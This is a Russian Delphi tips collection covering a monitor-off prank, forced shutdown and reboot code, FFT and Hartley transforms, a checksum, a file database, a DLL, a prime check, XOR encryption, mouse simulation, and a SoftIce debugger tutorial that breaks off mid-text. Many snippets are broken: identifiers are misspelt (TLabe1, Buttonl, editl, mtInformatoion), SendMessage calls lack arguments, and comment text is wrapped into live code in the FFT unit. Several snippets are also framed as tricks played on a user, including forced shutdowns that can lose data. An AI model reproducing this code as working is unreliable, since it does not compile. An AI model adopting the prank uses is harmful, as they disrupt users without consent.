Статьи по Delphi (016)…

Вырубить монитор.

Статьи по Delphi (016)…

Сидят программисты за компами, заходит начальник: - Почему мониторы грязные? - Да чем мы их только не чистили, даже спиртом все равно не помогает. - А вы их Кометом, говорят он еще и вирусы убивает.

Давайте прикольнёмся над пользователем. Допустим выведем внезапно сообщение, типа... "Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!" и... вырубим монитор...(включить его чудилка уже не сможет)...

procedure TForm1.Button3Click(Sender: TObject);
begin
  MessageDlg('Уже поздно. Будь послушным мальчиком. '+
  'Туши свет и вали спать!', mtInformatoion, [mbOk], 0);
  SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
end;

Для того, чтобы программно включить монитор можете использовать следующий код:

procedure TForm1.Button3Click(Sender: TObject);
begin
  SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
end;

Вырубить монитор 2.

Во рожа! Попеняю монитору...
SendMessage(HWND_BROADCAST,WM_SYSCOMMAND, 0);
SendMessage(HWND_BROADCAST,WM_SYSCOMMAND, -1);

Выключить или перезагрузить компьютер.

Статьи по Delphi (016)…
Меломана, алкоголика и программера спросили, что бы те делали, если бы они вдруг проснулись в 80-м году... Меломан пошел бы спасать Джона Леннона. Алкоголик бы упился дешевой водки. А программер бы повесился... Почему? А что, опять за ЕС садиться?

Выключить монитор - это классно, но можно сделать ещё круче - программно завершить работу компьютера. Выглядеть это будет примерно так, с использованием различных режимов выключения:

ExitWindowsEx(EWX_LOGOFF or ewx_force,0);

Завершает работу всех запущенных в системе процессов, сохраняя данные приложения, вызвавшего эту функцию.

ExitWindowsEx(EWX_SHUTDOWN or ewx_force,0);

Останавливает работу системы в безопасный момент времени. Все буферы очищаются с сохранением данных на диске, все процессы останавливаются.

ExitWindowsEx(EWX_REBOOT or ewx_force,0);

Перезагрузка системы.

ExitWindowsEx(EWX_FORCE or ewx_force,0);

Завершает работу всех запущенных в системе приложений, не посылая им сообщения WM_QUERYENDSESSION и WM_ENDSESSIO. Это может вызвать потерю не сохраненных данных.

ExitWindowsEx(EWX_POWEROFF or ewx_force,0);

Завершает работу компьютера с выключением питания, если система поддерживает автоуправление питанием.

ExitWindowsEx(EWX_FORCEIFHUNG or ewx_force,0);
завершает работу всех запущенных в системе приложений если система висит

Ещё вариант перезагрузки:

mov  al,0F0h  
out  64h,al

Как выключить Win2000.

Статьи по Delphi (016)…
Автор: Prankster
Один другому показывает какой он крутой комп купил. И процессор охрененный и памяти вагон, тивитюнер, сканер, принтер, сидюк, ... , Windows 2000 :)) Включает, а винды ему: - Внимание сейчас попытаюсь со всей этой х....й загрузиться !!!

Известно, что с помощью стандартных функций Windows 2000 не вырубишь. Сегодня мы напишем прогу на WinApi, выключающую W2k, и занимающую всего 10 Кб! Создай обычный текстовый документ, открой его любым редактором, и пиши туда такую хрень:

program reboot;
uses
  Windows, messages;
procedure RebootSystem;
var
  handle_: THandle;
  n: DWORD;
  luid: TLargeInteger;
  priv: TOKEN_PRIVILEGES;
  ver: TOSVERSIONINFO;
begin
  ver.dwOSVersionInfoSize := Sizeof(ver);
  GetVersionEx(ver);
  if ver.dwPlatformId=VER_PLATFORM_WIN32_NT then
  begin
    if OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, handle_) then
      if LookupPrivilegeValue(nil, 'SeShutdownPrivilege', luid) then
      begin
        priv.PrivilegeCount := 1;
        priv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
        priv.Privileges[0].Luid := luid;
        AdjustTokenPrivileges(handle_, false, priv, 0, nil, n);
      end
      else
        writeln('Ошибка')
    else
      writeln('Ошибка ');
  end
  else
    writeln('Ошибка ');
  if not ExitWindowsEx(EWX_POWEROFF,1) then
    writeln('Ошибка');
end;
begin
  RebootSystem;
end.

Сохрани этот файл под именем Reboot.dpr, открой из Delphi, и компилируй!

Как выключить Win2000 2.

procedure NTShutdown;
var
  TokenHandle: Cardinal;
  RetLength: Cardinal;
  TP: TTokenPrivileges;
begin
  OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES
    or TOKEN_QUERY, TokenHandle);
  if LookupPrivilegeValue(nil, 'SeShutdownPrivilege',
    TP.Privileges[0].Luid) then
  begin
    TP.PrivilegeCount := 1;
    TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
    RetLength := 0;
    if AdjustTokenPrivileges(TokenHandle, FALSE, TP, 0, nil, RetLength) then
    begin
      if not SetProcessShutdownParameters($4FF, SHUTDOWN_NORETRY) then
      begin
        MessageBox(0, 'Shutdown failed', nil, MB_OK or MB_ICONSTOP);
      end
      else
      begin
        ExitWindowsEx(EWX_FORCE or EWX_SHUTDOWN, 0);
      end;
      exit;
    end;
  end;
  MessageBox(0, 'Access denied', nil, MB_OK or MB_ICONSTOP);
end;

Преобразование сигнала в спекр и обратно (методы Хартли, Фурье и классический).

Автор: Denis Furman.

{$A+,B-,C+,D+,E-,F-,G+,H+,I+,J+,K-,L+,M-,N+,O-,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y+
,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $00400000}
{$APPTYPE GUI}
unit Main;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Buttons, ExtCtrls, ComCtrls, Menus;
type
  TfmMain = class(TForm)
    MainMenu1: TMainMenu;
    N1: TMenuItem;
    N2: TMenuItem;
    StatusBar1: TStatusBar;
    N3: TMenuItem;
    imgInfo: TImage;
    Panel1: TPanel;
    btnStart: TSpeedButton;
    procedure btnStartClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  end;
var
  fmMain: TfmMain;
implementation
uses PFiles;
{$R *.DFM}
function Power2(lPower: Byte): LongInt;
begin
  Result := 1 shl lPower;
end;
procedure ClassicDirect(var aSignal, aSpR, aSpI: array of Double; N:
  LongInt);
var
  lSrch: LongInt;
var
  lGarm: LongInt;
var
  dSumR: Double;
var
  dSumI: Double;
begin
  for lGarm := 0 to N div 2 - 1 do
  begin
    dSumR := 0;
    dSumI := 0;
    for lSrch := 0 to N - 1 do
    begin
      dSumR := dSumR + aSignal[lSrch] * Cos(lGarm * lSrch / N * 2 * PI);
      dSumI := dSumI + aSignal[lSrch] * Sin(lGarm * lSrch / N * 2 * PI);
    end;
    aSpR[lGarm] := dSumR;
    aSpI[lGarm] := dSumI;
  end;
end;
procedure ClassicInverce(var aSpR, aSpI, aSignal: array of Double; N:
  LongInt);
var
  lSrch: LongInt;
var
  lGarm: LongInt;
var
  dSum: Double;
begin
  for lSrch := 0 to N - 1 do
  begin
    dSum := 0;
    for lGarm := 0 to N div 2 - 1 do
      dSum := dSum
        + aSpR[lGarm] * Cos(lSrch * lGarm * 2 * Pi / N)
        + aSpI[lGarm] * Sin(lSrch * lGarm * 2 * Pi / N);
    aSignal[lSrch] := dSum * 2;
  end;
end;
function InvertBits(BF, DataSize, Power: Word): Word;
var
  BR: Word;
var
  NN: Word;
var
  L: Word;
begin
  br := 0;
  nn := DataSize;
  for l := 1 to Power do
  begin
    NN := NN div 2;
    if (BF >= NN) then
    begin
      BR := BR + Power2(l - 1);
      BF := BF - NN
    end;
  end;
  InvertBits := BR;
end;
procedure FourierDirect(var RealData, VirtData, ResultR, ResultV: array of
  Double; DataSize: LongInt);
var
  A1: Real;
var
  A2: Real;
var
  B1: Real;
var
  B2: Real;
var
  D2: Word;
var
  C2: Word;
var
  C1: Word;
var
  D1: Word;
var
  I: Word;
var
  J: Word;
var
  K: Word;
var
  Cosin: Real;
var
  Sinus: Real;
var
  wIndex: Word;
var
  Power: Word;
begin
  C1 := DataSize shr 1;
  C2 := 1;
  for Power := 0 to 15 //hope it will be faster then
  round(ln(DataSize) / ln(2))
    do
    if Power2(Power) = DataSize then
      Break;
  for I := 1 to Power do
  begin
    D1 := 0;
    D2 := C1;
    for J := 1 to C2 do
    begin
      wIndex := InvertBits(D1 div C1, DataSize, Power);
      Cosin := +(Cos((2 * Pi / DataSize) * wIndex));
      Sinus := -(Sin((2 * Pi / DataSize) * wIndex));
      for K := D1 to D2 - 1 do
      begin
        A1 := RealData[K];
        A2 := VirtData[K];
        B1 := ((Cosin * RealData[K + C1] - Sinus * VirtData[K + C1]));
        B2 := ((Sinus * RealData[K + C1] + Cosin * VirtData[K + C1]));
        RealData[K] := A1 + B1;
        VirtData[K] := A2 + B2;
        RealData[K + C1] := A1 - B1;
        VirtData[K + C1] := A2 - B2;
      end;
      Inc(D1, C1 * 2);
      Inc(D2, C1 * 2);
    end;
    C1 := C1 div 2;
    C2 := C2 * 2;
  end;
  for I := 0 to DataSize div 2 - 1 do
  begin
    ResultR[I] := +RealData[InvertBits(I, DataSize, Power)];
    ResultV[I] := -VirtData[InvertBits(I, DataSize, Power)];
  end;
end;
procedure Hartley(iSize: LongInt; var aData: array of Double);
type
  taDouble = array[0..MaxLongInt div SizeOf(Double) - 1] of Double;
var
  prFI, prFN, prGI: ^taDouble;
var
  rCos, rSin: Double;
var
  rA, rB, rTemp: Double;
var
  rC1, rC2, rC3, rC4: Double;
var
  rS1, rS2, rS3, rS4: Double;
var
  rF0, rF1, rF2, rF3: Double;
var
  rG0, rG1, rG2, rG3: Double;
var
  iK1, iK2, iK3, iK4: LongInt;
var
  iSrch, iK, iKX: LongInt;
begin
  iK2 := 0;
  for iK1 := 1 to iSize - 1 do
  begin
    iK := iSize shr 1;
    repeat
      iK2 := iK2 xor iK;
      if (iK2 and iK) <> 0 then
        Break;
      iK := iK shr 1;
    until False;
    if iK1 > iK2 then
    begin
      rTemp := aData[iK1];
      aData[iK1] := aData[iK2];
      aData[iK2] := rTemp;
    end;
  end;
  iK := 0;
  while (1 shl iK) < iSize do
    Inc(iK);
  iK := iK and 1;
  if iK = 0 then
  begin
    prFI := @aData;
    prFN := @aData;
    prFN := @prFN[iSize];
    while Word(prFI) < Word(prFN) do
    begin
      rF1 := prFI^[0] - prFI^[1];
      rF0 := prFI^[0] + prFI^[1];
      rF3 := prFI^[2] - prFI^[3];
      rF2 := prFI^[2] + prFI^[3];
      prFI^[2] := rF0 - rF2;
      prFI^[0] := rF0 + rF2;
      prFI^[3] := rF1 - rF3;
      prFI^[1] := rF1 + rF3;
      prFI := @prFI[4];
    end;
  end
  else
  begin
    prFI := @aData;
    prFN := @aData;
    prFN := @prFN[iSize];
    prGI := prFI;
    prGI := @prGI[1];
    while Word(prFI) < Word(prFN) do
    begin
      rC1 := prFI^[0] - prGI^[0];
      rS1 := prFI^[0] + prGI^[0];
      rC2 := prFI^[2] - prGI^[2];
      rS2 := prFI^[2] + prGI^[2];
      rC3 := prFI^[4] - prGI^[4];
      rS3 := prFI^[4] + prGI^[4];
      rC4 := prFI^[6] - prGI^[6];
      rS4 := prFI^[6] + prGI^[6];
      rF1 := rS1 - rS2;
      rF0 := rS1 + rS2;
      rG1 := rC1 - rC2;
      rG0 := rC1 + rC2;
      rF3 := rS3 - rS4;
      rF2 := rS3 + rS4;
      rG3 := Sqrt(2) * rC4;
      rG2 := Sqrt(2) * rC3;
      prFI^[4] := rF0 - rF2;
      prFI^[0] := rF0 + rF2;
      prFI^[6] := rF1 - rF3;
      prFI^[2] := rF1 + rF3;
      prGI^[4] := rG0 - rG2;
      prGI^[0] := rG0 + rG2;
      prGI^[6] := rG1 - rG3;
      prGI^[2] := rG1 + rG3;
      prFI := @prFI[8];
      prGI := @prGI[8];
    end;
  end;
  if iSize < 16 then
    Exit;
  repeat
    Inc(iK, 2);
    iK1 := 1 shl iK;
    iK2 := iK1 shl 1;
    iK4 := iK2 shl 1;
    iK3 := iK2 + iK1;
    iKX := iK1 shr 1;
    prFI := @aData;
    prGI := prFI;
    prGI := @prGI[iKX];
    prFN := @aData;
    prFN := @prFN[iSize];
    repeat
      rF1 := prFI^[000] - prFI^[iK1];
      rF0 := prFI^[000] + prFI^[iK1];
      rF3 := prFI^[iK2] - prFI^[iK3];
      rF2 := prFI^[iK2] + prFI^[iK3];
      prFI^[iK2] := rF0 - rF2;
      prFI^[000] := rF0 + rF2;
      prFI^[iK3] := rF1 - rF3;
      prFI^[iK1] := rF1 + rF3;
      rG1 := prGI^[0] - prGI^[iK1];
      rG0 := prGI^[0] + prGI^[iK1];
      rG3 := Sqrt(2) * prGI^[iK3];
      rG2 := Sqrt(2) * prGI^[iK2];
      prGI^[iK2] := rG0 - rG2;
      prGI^[000] := rG0 + rG2;
      prGI^[iK3] := rG1 - rG3;
      prGI^[iK1] := rG1 + rG3;
      prGI := @prGI[iK4];
      prFI := @prFI[iK4];
    until not (Word(prFI) < Word(prFN));
    rCos := Cos(Pi / 2 / Power2(iK));
    rSin := Sin(Pi / 2 / Power2(iK));
    rC1 := 1;
    rS1 := 0;
    for iSrch := 1 to iKX - 1 do
    begin
      rTemp := rC1;
      rC1 := (rTemp * rCos - rS1 * rSin);
      rS1 := (rTemp * rSin + rS1 * rCos);
      rC2 := (rC1 * rC1 - rS1 * rS1);
      rS2 := (2 * (rC1 * rS1));
      prFN := @aData;
      prFN := @prFN[iSize];
      prFI := @aData;
      prFI := @prFI[iSrch];
      prGI := @aData;
      prGI := @prGI[iK1 - iSrch];
      repeat
        rB := (rS2 * prFI^[iK1] - rC2 * prGI^[iK1]);
        rA := (rC2 * prFI^[iK1] + rS2 * prGI^[iK1]);
        rF1 := prFI^[0] - rA;
        rF0 := prFI^[0] + rA;
        rG1 := prGI^[0] - rB;
        rG0 := prGI^[0] + rB;
        rB := (rS2 * prFI^[iK3] - rC2 * prGI^[iK3]);
        rA := (rC2 * prFI^[iK3] + rS2 * prGI^[iK3]);
        rF3 := prFI^[iK2] - rA;
        rF2 := prFI^[iK2] + rA;
        rG3 := prGI^[iK2] - rB;
        rG2 := prGI^[iK2] + rB;
        rB := (rS1 * rF2 - rC1 * rG3);
        rA := (rC1 * rF2 + rS1 * rG3);
        prFI^[iK2] := rF0 - rA;
        prFI^[0] := rF0 + rA;
        prGI^[iK3] := rG1 - rB;
        prGI^[iK1] := rG1 + rB;
        rB := (rC1 * rG2 - rS1 * rF3);
        rA := (rS1 * rG2 + rC1 * rF3);
        prGI^[iK2] := rG0 - rA;
        prGI^[0] := rG0 + rA;
        prFI^[iK3] := rF1 - rB;
        prFI^[iK1] := rF1 + rB;
        prGI := @prGI[iK4];
        prFI := @prFI[iK4];
      until not (LongInt(prFI) < LongInt(prFN));
    end;
  until not (iK4 < iSize);
end;
procedure HartleyDirect(
  var aData: array of Double;
  iSize: LongInt);
var
  rA, rB: Double;
var
  iI, iJ, iK: LongInt;
begin
  Hartley(iSize, aData);
  iJ := iSize - 1;
  iK := iSize div 2;
  for iI := 1 to iK - 1 do
  begin
    rA := aData[ii];
    rB := aData[ij];
    aData[iJ] := (rA - rB) / 2;
    aData[iI] := (rA + rB) / 2;
    Dec(iJ);
  end;
end;
procedure HartleyInverce(
  var aData: array of Double;
  iSize: LongInt);
var
  rA, rB: Double;
var
  iI, iJ, iK: LongInt;
begin
  iJ := iSize - 1;
  iK := iSize div 2;
  for iI := 1 to iK - 1 do
  begin
    rA := aData[iI];
    rB := aData[iJ];
    aData[iJ] := rA - rB;
    aData[iI] := rA + rB;
    Dec(iJ);
  end;
  Hartley(iSize, aData);
end;
//not tested
procedure HartleyDirectComplex(real, imag: array of Double; n: LongInt);
var
  a, b, c, d: double;
  q, r, s, t: double;
  i, j, k: LongInt;
begin
  j := n - 1;
  k := n div 2;
  for i := 1 to k - 1 do
  begin
    a := real[i];
    b := real[j];
    q := a + b;
    r := a - b;
    c := imag[i];
    d := imag[j];
    s := c + d;
    t := c - d;
    real[i] := (q + t) * 0.5;
    real[j] := (q - t) * 0.5;
    imag[i] := (s - r) * 0.5;
    imag[j] := (s + r) * 0.5;
    dec(j);
  end;
  Hartley(N, Real);
  Hartley(N, Imag);
end;
//not tested
procedure HartleyInverceComplex(real, imag: array of Double; N: LongInt);
var
  a, b, c, d: double;
  q, r, s, t: double;
  i, j, k: longInt;
begin
  Hartley(N, real);
  Hartley(N, imag);
  j := n - 1;
  k := n div 2;
  for i := 1 to k - 1 do
  begin
    a := real[i];
    b := real[j];
    q := a + b;
    r := a - b;
    c := imag[i];
    d := imag[j];
    s := c + d;
    t := c - d;
    imag[i] := (s + r) * 0.5;
    imag[j] := (s - r) * 0.5;
    real[i] := (q - t) * 0.5;
    real[j] := (q + t) * 0.5;
    dec(j);
  end;
end;
procedure DrawSignal(var aSignal: array of Double; N, lColor: LongInt);
var
  lSrch: LongInt;
var
  lHalfHeight: LongInt;
begin
  with fmMain do
  begin
    lHalfHeight := imgInfo.Height div 2;
    imgInfo.Canvas.MoveTo(0, lHalfHeight);
    imgInfo.Canvas.Pen.Color := lColor;
    for lSrch := 0 to N - 1 do
    begin
      imgInfo.Canvas.LineTo(lSrch, Round(aSignal[lSrch]) + lHalfHeight);
    end;
    imgInfo.Repaint;
  end;
end;
procedure DrawSpector(var aSpR, aSpI: array of Double; N, lColR, lColI:
  LongInt);
var
  lSrch: LongInt;
var
  lHalfHeight: LongInt;
begin
  with fmMain do
  begin
    lHalfHeight := imgInfo.Height div 2;
    for lSrch := 0 to N div 2 do
    begin
      imgInfo.Canvas.Pixels[lSrch, Round(aSpR[lSrch] / N) + lHalfHeight] :=
        lColR;
      imgInfo.Canvas.Pixels[lSrch + N div 2, Round(aSpI[lSrch] / N) +
        lHalfHeight] := lColI;
    end;
    imgInfo.Repaint;
  end;
end;
const
  N = 512;
var
  aSignalR: array[0..N - 1] of Double; //
var
  aSignalI: array[0..N - 1] of Double; //
var
  aSpR, aSpI: array[0..N div 2 - 1] of Double; //
var
  lFH: LongInt;
procedure TfmMain.btnStartClick(Sender: TObject);
const
  Epsilon = 0.00001;
var
  lSrch: LongInt;
var
  aBuff: array[0..N - 1] of ShortInt;
begin
  if lFH > 0 then
  begin
    //   Repeat
    if F.Read(lFH, @aBuff, N) <> N then
    begin
      Exit;
    end;
    for lSrch := 0 to N - 1 do
    begin
      aSignalR[lSrch] := ShortInt(aBuff[lSrch] + $80);
      aSignalI[lSrch] := 0;
    end;
    imgInfo.Canvas.Rectangle(0, 0, imgInfo.Width, imgInfo.Height);
    DrawSignal(aSignalR, N, $D0D0D0);
    //    ClassicDirect(aSignalR, aSpR, aSpI, N);                 //result in aSpR & aSpI,
    aSignal unchanged
      //    FourierDirect(aSignalR, aSignalI, aSpR, aSpI, N);       //result in aSpR &
    aSpI, aSiggnalR & aSignalI modified
    HartleyDirect(aSignalR, N); //result in source aSignal ;-)
    DrawSpector(aSignalR, aSignalR[N div 2 - 1], N, $80, $8000);
    DrawSpector(aSpR, aSpI, N, $80, $8000);
    {    for lSrch := 0 to N div 2 -1 do begin                    //comparing classic & Hartley
    if (Abs(aSpR[lSrch] - aSignal[lSrch]) > Epsilon)
    or ((lSrch > 0) And (Abs(aSpI[lSrch] - aSignal[N - lSrch]) > Epsilon))
    then MessageDlg('Error comparing',mtError,[mbOK],-1);
    end;}
    HartleyInverce(aSignalR, N); //to restore original signal with
    HartleyDirect
      //    ClassicInverce(aSpR, aSpI, aSignalR, N);                //to restore original
    signal with ClassicDirect or FourierDirect
    for lSrch := 0 to N - 1 do
      aSignalR[lSrch] := aSignalR[lSrch] / N; //scaling
    DrawSignal(aSignalR, N, $D00000);
    Application.ProcessMessages;
    //   Until False;
  end;
end;
procedure TfmMain.FormCreate(Sender: TObject);
begin
  lFH := F.Open('input.pcm', ForRead);
end;
procedure TfmMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  F.Close(lFH);
end;
end.

Простой расчет контрольной суммы.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Example of calculating a simple checksum. 
  Beispiel, wie eine einfache Checksumme berechnet werden kann. 
}
 function CalcStrChecksum(s: string; zerobased: Boolean): Longint;
 var
   i: integer;
   L: integer;
 begin
   Result := 0;
   l := Length(s);
   if l > 0 then
   begin
     for i := 1 to l do
       if zerobased then
         Inc(Result, Ord(s[i]) - 65)
     else
       Inc(Result, Ord(s[i]));
   end;
 end;

Простая база данных (запись в файл).

Следующая программа ведет простую базу данных. При каждом ее запуске на экране появляется диалоговое окно, в поля которого пользователь может ввести дату и температуру воздуха.

unit pogoda_;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes,
  Graphics, Controls, Forms, Dialogs, StdCtrls;
type
  TForm1 = class(TForm)
    Edit1: TEdit; // дата
    Edit2: TEdit; // температура
    Button1: TButton; // кнопка Добавить
    Label1: TLabe1;
    Label2: TLabe1;
    procedure FormActivate(Sender: TObject);
    procedure ButtonlClick(Sender: TObject);
    procedure FormClose(Sender: TObject;
      var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.dfm}
const
  DBNAME = 'a:\pogoda. db';
var
  db: TextFile; // файл — база данных
procedure TForm1.FormActivate(Sender: TObject);
begin
  AssignFile(db, DBNAME);
  {$I-}
  Append(db);
  if IOResult = 0 then
  begin
    Edit1.Text := DateToStr(Date); // получить текущую дату
    Edit2.SetFocus; // курсор в поле Edit2
  end
  else
  begin
    Rewrite(db);
    if IOResult <> 0 then
    begin
      // сделать недоступными поля ввода
      // и командную кнопку
      Edit1.Enabled := False;
      Edit2.Enabled := False;
      Buttonl.Enabled := False;
      ShowMessage('Ошибка создания ' + DBNAME);
    end;
  end;
end;
// щелчок на кнопке Добавить
procedure TForml.Button1Click(Sender: TObject);
begin
  if (Length(edit1.text) = 0) or (Length(edit2.text) = 0) then
    ShowMessage('Ошибка ввода данных.'
      + #13 + 'Bce поля должны быть заполнены.')
  else
    writeln(db, editl.text, ' ', edit2.text);
end;
// Событие OnClose возникает при закрытии формы
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  CloseFile(db); // закрыть файл БД
end;
end.
Файл базы данных открывает процедура FormActivate, которая обрабатывает событие onActivate. Событие OnActivate возникает в момент активизации формы, поэтому процедура запускается автоматически, при активизации формы приложения. Если операция открытия файла завершается успешно, то в поле Edit1 записывается текущая дата. Информация о текущей дате возвращает функция Date. Для преобразования возвращаемого функцией Date значения (числа типа Double) в удобную для восприятия форму используется функция Dateiostr. После записи даты в поле Editi процедура обработки события onActivate с применением метода setFocus устанавливает курсор в поле ввода температуры. Если в процессе открытия или создания нового файла возникает ошибка, то процедура делает недоступной кнопку Добавить и выводит информационное сообщение. Процедура TForm1.Button1Click (процедура обработки события onclick) запускается нажатием кнопки Добавить (Button1). В результате введенная информация записывается в базу данных — файл pogoda.db. Перед выполнением записи программа проверяет, все ли поля формы заполнены, и, если не все, то выводит информационное сообщение. В результате работы процедуры в конец файла pogoda.db будет добавлена строка, содержащая дату (число, месяц, год) и температуру. В данной программе используется инструкция writein, а не write, для того чтобы данные за каждый день располагались в базе данных на отдельной строке. Обратите внимание, что список вывода инструкции writein состоит из трех элементов. После вывода в файл даты (Edit1.text) в файл записывается пробел, а затем— температура (edit2.txt). Если температуру записать в файл сразу после даты, то числа, соответствующие году и температуре, сольются в одну последовательность цифр.

Закрывает базу данных процедура TFormi.Formciose, которая обрабатывает событие enclose, возникающее при закрытии формы приложения.

Простой пример DLL.

Автор: Steve Schafer

library MyDll;
uses Windows;
function SomeFunc(I: Integer): Integer; stdcall;
begin
  if Odd(I) then 
    Result := 3 * I + 1
  else 
    Result := I div 2;
end;
exports
  SomeFunc;
begin
end.

И вот модуль импорта, который вы можете включить в любой проект, которому необходим доступ к функциям DLL:

unit MyDllImport;
interface
uses Windows;
function SomeFunc(I: Integer): Integer; stdcall;
implementation
function SomeFunc; external 'mydll.dll';
end.

Простое число.

unit simple_;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TForm1 = class(TForm)
    Button1: TButton;
    Label1: TLabel;
    Edit1: TEdit;
    Label2: TLabel;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
  n: integer; // проверяемое число
  d: integer; // делитель
  r: integer; // остаток от деления n на d
begin
  n := StrToInt(Edit1.text);
  d := 2; // сначала будем делить на два
  repeat
    r := n mod d;
    if r <> 0 {// n не разделилось нацело на d} then
      d := d + 1;
  until r = 0; // повторять пока не найдено число на n делится без остатка
  label2.caption := Edit1.text;
  if d = n then
    label2.caption := label2.caption + ' - простое число.'
  else
    label2.caption := label2.caption + ' - обычное число.';
end;
end.

Простой пример XOR шифрования.

Автор: Igor N. Semenushkin

Вот ужасно простой пример XOR шифрования - работает без глюков.

var
  key, text, longkey, result: string;
  i: integer;
  toto, c: char;
begin
  for i := 0 to (length(text) div length(key)) do
    longkey := longkey + key;
  for i := 1 to length(text) do
  begin
    toto := chr((ord(text[i]) xor ord(longkey[i]))); // XOR алгоритм
    result := result + toto;
  end;
end;

Симулировать щелчок мышкой.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// Set the mouse cursor to position x,y: 
// Maus an Position x,y setzen: 
SetCursorPos(x, y);
 // Simulate the left mouse button down 
// Linke Maustaste simulieren 
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
 mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
 // Simulate the right mouse button down 
// Rechte Maustaste simulieren 
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
 mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
 // Simulate a double click 
// Einen Doppelklick simulieren 
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
 mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
 GetDoubleClickTime;
 mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
 mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
 // Simulate a double click on a panel 
// Einen Doppelklick auf einen Panel simulieren 
SendMessage(Panel1.Handle, WM_LBUTTONDBLCLK, 10, 10)

Создать растягиваемую без бордюра форму.

{ 
  With this code you can create none border style (BorderStyle = bsNone) 
  but sizeable windows (forms) 
  First you must set BorderStyle := bsNone of your Form in Object Browser. 
  There is your small but forced code; 
} 
type 
  TForm1 = class(TForm) 
  private 
    { Private declarations } 
  public 
    { Public declarations } 
    procedure CreateParams(var Params: TCreateParams); override; 
  end; 
var 
  Form1: TForm1; 
implementation 
{$R *.dfm} 
procedure TForm1.CreateParams(var Params: TCreateParams); 
begin 
  inherited CreateParams(Params); 
  Params.Style := (Params.Style or WS_THICKFRAME); 
end; 

Величина SizeOf.

Автор: Dennis Passmore

В Delphi 2.0 при использовании функции sizeof для моей записи:

f_format = record
  format_name : string[8];
  file_size  : smallint;
  fields     : smallint;
end;
sizeof (format_name) возвращает 9 sizeof (file_size) возвращает 2 sizeof (fields) возвращает 2

Sizeof(f_format) возвращает 14 ; Почему это не возвращает 13 ??????

Вам необходимо выключить опцию компилятора 'the Align Record Fields' (выравнивание полей записи).

SoftIce - первые шаги.

Оформил: DeeCo Автор: http://www.cracklab.narod.ru

В поставку SoftIce входит пример GdiDemo, его и будем отлаживать (придерживаясь указаний фирмы NuMega).

Пример без проблем собрался в VC4 (не забудьте включить отладочную информацию), в BC 5.02 пример тоже собрался, но отладочную информацию Symbol Loader не увидел, хотя в TD она грузится. Тот, кому лень собирать проект самому, может скачать его отсюда: Gdidemo.zip, архив занимает 109 Кб. 1. Загрузка отлаживаемой программы. Запускаем Symbol Loader, выбираем опцию Open module в меню File, идем туда, где у вас лежит Gdidemo.exe, и открываем его, далее в меню Module нажимаем на опцию Load. SL оттранслирует отладочную информацию в .NMS файл, загрузит исходные файлы, запустит отлаживаемую программу (в данном случае Gdidemo) и всплывет в SoftIce, где вы увидите исходный текст программы. Подсвеченная строка с номером 35 – это точка входа (entry point) в вашу программу. Если SL вывел сообщение типа "An error occured during symbol translation/load", значит в отлаживаемом файле отсутствует отладочная информация, жмите OK и наслаждайтесь [диз]ассемблером. 2. Управление SоftIсе'ом. Если Вы все правильно сделали, то вы должны увидеть SoftIce разбитый на несколько окон. Верхнее окно – Register Window (окно регистров) – показывает состояние рабочих регистров процессора. Под ним находится окно данных Data Window, в нем вы можете посмотреть или отредактировать дамп памяти. Ниже находится Code Window (окно кода) – в нем находится исходный текст программы (если вы загрузили отладочную информацию), или дизассемблированный код программы. В самом низу находиться окно команд - Command Window, в нем вы можете вводить команду и видеть результат их выполнения. Самая нижняя строчка – строка помощи, в ней при вводе подсвечиваются возможные варианты команд и их синтаксис. Удобнее всего управлять SoftIce с помощью мышки, но можно и без нее, хотя и не так удобно. 2.1 Управление с помощью мышки: Вы можете: изменять размер окон и закрывать их (нельзя изменить размер окна регистров и FPU); скроллировать окна как на одну строку, так и на целый экран; изменять значение регистров, флагов, ячеек памяти, устанавливать точки останова на исполнение, удалять из Watch Window переменные, которые больше не нужны. Правая кнопка мыши вызывает контекстное меню, в котором вы можете выбрать одну из представленных команд; работают команды с буфером обмена Windows. Изменение размера окна - подведите курсор к нижней границе того окна, которому хотите изменить размер или закрыть его, нажмите левую кнопку мыши и ведите ее вниз (увеличение размера) или вниз (уменьшение размера), если хотите закрыть окно, подведите нижнюю границу к верхней, в окне появится фраза Close current window и окно исчезнет. Скроллинг на одну строку – подведите курсор к маленьким стрелочкам, расположенным у границ того окна, которое хотите скроллировать и жмите левую кнопку мыши (стрелочки появляются, если размер окна больше или равен двум строчкам). Скроллинг на экран – подведите курсор к большим стрелочкам расположенным внутри того окна, которое хотите скроллировать и жмите левую кнопку мыши (стрелочки появляются, если размер 